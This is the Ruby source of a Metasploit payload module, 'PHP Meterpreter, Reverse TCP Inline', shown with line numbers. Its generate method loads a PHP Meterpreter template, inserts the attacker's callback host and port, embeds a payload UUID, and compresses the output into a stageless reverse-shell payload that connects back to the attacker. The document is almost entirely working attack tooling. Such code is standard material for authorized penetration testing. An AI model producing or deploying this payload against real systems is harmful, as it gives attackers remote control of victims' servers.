1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 34928
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Php::ReverseTcp
11
  include Msf::Sessions::MeterpreterOptions
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'PHP Meterpreter, Reverse TCP Inline',
18
        'Description' => 'Connect back to attacker and spawn a Meterpreter server (PHP)',
19
        'Author' => ['egypt'],
20
        'Platform' => 'php',
21
        'Arch' => ARCH_PHP,
22
        'License' => MSF_LICENSE,
23
        'Handler' => Msf::Handler::ReverseTcp,
24
        'Session' => Msf::Sessions::Meterpreter_Php_Php
25
      )
26
    )
27
  end
28

29
  def generate(_opts = {})
30
    met = MetasploitPayloads.read('meterpreter', 'meterpreter.php')
31

32
    met.gsub!('127.0.0.1', datastore['LHOST']) if datastore['LHOST']
33
    met.gsub!('4444', datastore['LPORT'].to_s) if datastore['LPORT']
34

35
    uuid = generate_payload_uuid
36
    bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
37
    met = met.sub(%q{"PAYLOAD_UUID", ""}, %("PAYLOAD_UUID", "#{bytes}"))
38

39
    # Stageless payloads need to have a blank session GUID
40
    session_guid = '\x00' * 16
41
    met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}"))
42

43
    if datastore['MeterpreterDebugBuild']
44
      met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|)
45

46
      logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging'])
47
      met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath]
48
    end
49

50
    met.gsub!(/#.*$/, '')
51
    met = Rex::Text.compress(met)
52
    met
53
  end
54
end
55

56